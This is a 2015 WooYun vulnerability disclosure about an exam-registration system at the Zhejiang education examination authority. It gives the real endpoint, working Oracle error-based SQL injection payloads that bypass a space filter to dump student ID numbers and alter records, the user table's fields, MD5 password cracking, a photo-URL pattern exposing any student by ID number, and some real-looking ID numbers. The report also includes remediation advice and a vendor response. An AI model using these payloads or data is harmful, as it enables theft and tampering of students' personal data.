当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098895

漏洞标题:浙江省教育考试院另一处SQL注射以及一处权限设置不当

相关厂商:浙江教育考试院

漏洞作者: SHENXN

提交时间:2015-03-04 11:06

修复时间:2015-04-18 11:08

公开时间:2015-04-18 11:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-04: 细节已通知厂商并且等待厂商处理中
2015-03-09: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向核心白帽子及相关领域专家公开
2015-03-29: 细节向普通白帽子公开
2015-04-08: 细节向实习白帽子公开
2015-04-18: 细节向公众公开

简要描述:

浙江教育考试院另一系统同样存在SQL注射漏洞(教育考试院你在搞笑吧),可获取所有考生身份信息(比刚才那个还要夸张,这次信息更多了),可修改任意考生个人资料,同时一处权限设置不当导致可以查看所有人照片。

详细说明:

注入点:http://pgzy.zjzs.net:8011/ashx/ajaxHandler.ashx
数据库:ORACLE
详细个人信息,我也是很醉啊。如果使用考生账号登录系统的话还可以修改个人信息。
每个人的个人照片权限设置不当,只需要身份证号码就可以查看任意用户照片:
举例,身份证号:330105199809220011
那么照片就是:http://pgzy.zjzs.net:8011/xnml/pic/savepic/33/01/05/1998/09/330105199809220011.jpg
详细格式:http://pgzy.zjzs.net:8011/xnml/pic/savepic/{身份证1-2位}/{身份证3-4位}/{身份证5-6位}/{身份证7-10位]/{身份证11-12位}/{完整身份证号}.jpg

漏洞证明:

建议公开时删除相关身份证号!!!
照片问题不需要更详细说明,SQL注射详细步骤:
首先注入点:http://pgzy.zjzs.net:8011/ashx/ajaxHandler.ashx
这是一个AJAX的接口,我后来发现不需要登录也可以进行注入。
登录操作对用户名进行了注入过滤(密码应该是MD5之后直接对比的,不涉及数据库操作),但是很不幸只过滤了空格,所以只要使用/**/替代空格即可实现注入。同时,错误显示没有关掉,于是可以直接从报错信息获得到子查询结果

http://pgzy.zjzs.net:8011/ashx/ajaxHandler.ashx?title=login&shenfenzheng='and/**/1=ctxsys.drithsx.sn(1,({注入语句}))--&mima=1&yzm={登陆界面显示的验证码}


我从登录系统后的注入点报错信息可以知道,个人信息储存在一张叫做USERINFO的表中。部分字段:

SHENFENZHENG:证件号码
ZJLX:证件类型
USERPASS:直接MD5后的密码
NAME:姓名
XINGBIE:性别
MINZU:民族
HUJI:户籍所在地
PHONE:手机号码
RXSJ:入学时间
XXSZXQ:学校所在县区


很明显已经可以直接拖库了,而且验证码还多次可用,直接可以得到所有人的个人信息,结合上面的权限设置不当,还可以把照片也一起拖下来。
举个例子:

http://pgzy.zjzs.net:8011/ashx/ajaxHandler.ashx?title=login&shenfenzheng='and/**/1=ctxsys.drithsx.sn(1,(select/**/listagg(shenfenzheng,';')within/**/group(order/**/by/**/shenfenzheng)from/**/userinfo/**/where/**/rownum<=5))--&mima=1&yzm={登陆界面显示的验证码}


这样就可以获取到前5个人的证件号码,使用自动化攻击脚本就可以直接拖库了。
然后经过验证,所储存的密码的确是直接一次MD5,我们都知道MD5是可以反向的,这么多密码总有能查到反向的,于是我们来试试看。
建议公开时删除身份证号!!!
我们查到身份证号码为33250119971101041X的用户MD5解码成功
登录系统成功

QQ截图20150302224637.png


然后我们现在可以使用信息修改所用的AJAX对任意用户的个人信息进行修改,同时我们还可以通过修改USERPASS字段实现登录任意用户(未尝试,理论可行)。
个人信息修改所用参数如下:

?title=useredit&username={姓名}&xingbie={性别(男/女)}&minzu={民族}&hj={户籍所在地(这是用6位数字实现,可以在系统中获取如330109)}&phone={手机号}&xq={县区(如1)}&rxsj={入学时间(如2014)}


通过注入后的报错信息我们知道其SQL语句修改的第一项为姓名字段,为了防止一不小心影响其他字段,我选择在姓名字段进行SQL注入。比如我修改该用户的出生日期(这在正常交互中是一个不可修改的字段),理论上可以修改其他用户,但是为了查看结果我们选择该用户进行操作(放心我会改回去的)

http://pgzy.zjzs.net:8011/ashx/ajaxHandler.ashx?title=useredit&xingbie=&minzu=&hj=&phone=&xq=1&rxsj=&username={姓名}',csrq='wooyun' where shenfenzheng='{身份证}'--


这样出生日期就被改为wooyun了

QQ截图20150302225420.png


同理修改他人密码即可登录任意账户。

修复方案:

建议更换开发商
如果自行开发建议聘请专业人员负责网站安全
请至少在系统上线之前找安全公司进行渗透性测试
使用绑定方法操作数据库或者过滤
请不要将明文信息放在数据库中,好歹做个加密
请关闭你们的错误显示,把这么多错误细节公开真的好吗
对权限做好控制,照片应该只有所有者能够查看
还有再次吐槽,请让验证码一次失效

版权声明:转载请注明来源 SHENXN@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-09 09:39

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给分中心,由其后续协调网站管理单位处置。

最新状态:

暂无